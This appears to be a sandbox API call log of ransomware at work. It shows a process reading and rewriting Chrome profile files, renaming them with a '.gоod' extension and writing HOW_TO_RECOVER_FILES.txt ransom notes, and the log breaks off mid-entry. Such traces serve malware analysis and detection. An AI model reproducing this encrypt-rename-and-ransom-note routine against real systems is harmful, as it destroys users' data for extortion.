GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK.gоod", lpFilePart=0x0) returned 0x80 [0225.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0225.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x828edc15, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0225.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0225.399] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\lock.gоod")) returned 1 [0225.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", lpFilePart=0x0) returned 0x7a [0225.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0225.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), fInfoLevelId=0x0, lpFileInformation=0x3615d70 | out: lpFileInformation=0x3615d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb5)) returned 1 [0225.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0225.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", lpFilePart=0x0) returned 0x7a [0225.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0225.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.401] GetFileType (hFile=0x82c) returned 0x1 [0225.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0225.401] GetFileType (hFile=0x82c) returned 0x1 [0225.401] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0xb5 [0225.401] ReadFile (in: hFile=0x82c, lpBuffer=0x3616170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3616170*, lpNumberOfBytesRead=0x208ed3f8*=0xb5, lpOverlapped=0x0) returned 1 [0225.806] CloseHandle (hObject=0x82c) returned 1 [0225.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", lpFilePart=0x0) returned 0x7a [0225.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0225.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.922] GetFileType (hFile=0x82c) returned 0x1 [0225.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0225.922] GetFileType (hFile=0x82c) returned 0x1 [0225.922] WriteFile (in: hFile=0x82c, lpBuffer=0x366b9f0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x366b9f0*, lpNumberOfBytesWritten=0x208ed308*=0xc0, lpOverlapped=0x0) returned 1 [0225.922] CloseHandle (hObject=0x82c) returned 1 [0225.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG", lpFilePart=0x0) returned 0x7a [0225.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.gоod", lpFilePart=0x0) returned 0x7f [0225.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0225.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x82dfedda, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0225.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0225.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log.gоod")) returned 1 [0225.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", lpFilePart=0x0) returned 0x86 [0225.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0225.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x366cd68 | out: lpFileInformation=0x366cd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb37f8e7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0225.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0225.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", lpFilePart=0x0) returned 0x86 [0225.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0225.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.924] GetFileType (hFile=0x82c) returned 0x1 [0225.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0225.924] GetFileType (hFile=0x82c) returned 0x1 [0225.924] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x29 [0225.925] ReadFile (in: hFile=0x82c, lpBuffer=0x366d140, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x366d140*, lpNumberOfBytesRead=0x208ed3f8*=0x29, lpOverlapped=0x0) returned 1 [0227.639] CloseHandle (hObject=0x82c) returned 1 [0227.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", lpFilePart=0x0) returned 0x86 [0227.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0227.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0227.673] GetFileType (hFile=0x82c) returned 0x1 [0227.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0227.673] GetFileType (hFile=0x82c) returned 0x1 [0227.673] WriteFile (in: hFile=0x82c, lpBuffer=0x3876690*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3876690*, lpNumberOfBytesWritten=0x208ed308*=0x30, lpOverlapped=0x0) returned 1 [0227.674] CloseHandle (hObject=0x82c) returned 1 [0227.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001", lpFilePart=0x0) returned 0x86 [0227.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x8b [0227.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0227.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb37f8e7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb37f8e7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x83eaf623, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0227.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0227.675] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001.gоod")) returned 1 [0227.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0227.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0227.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0227.676] GetFileType (hFile=0x82c) returned 0x1 [0227.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0227.676] GetFileType (hFile=0x82c) returned 0x1 [0227.677] WriteFile (in: hFile=0x82c, lpBuffer=0x3879f90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x3879f90*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0227.678] CloseHandle (hObject=0x82c) returned 1 [0227.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0227.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0227.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0227.678] GetFileType (hFile=0x82c) returned 0x1 [0227.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0227.678] GetFileType (hFile=0x82c) returned 0x1 [0227.679] WriteFile (in: hFile=0x82c, lpBuffer=0x387d898*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x387d898*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0227.680] CloseHandle (hObject=0x82c) returned 1 [0227.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0227.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails", lpFilePart=0x0) returned 0x48 [0227.680] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0228.284] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.284] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522fbf33, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x522fbf33, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x522fbf33, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0228.285] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x51b5d18d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0228.285] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0228.285] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0228.285] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0228.285] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0228.285] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.285] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0228.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0228.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0228.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0228.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails", lpFilePart=0x0) returned 0x48 [0228.286] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, 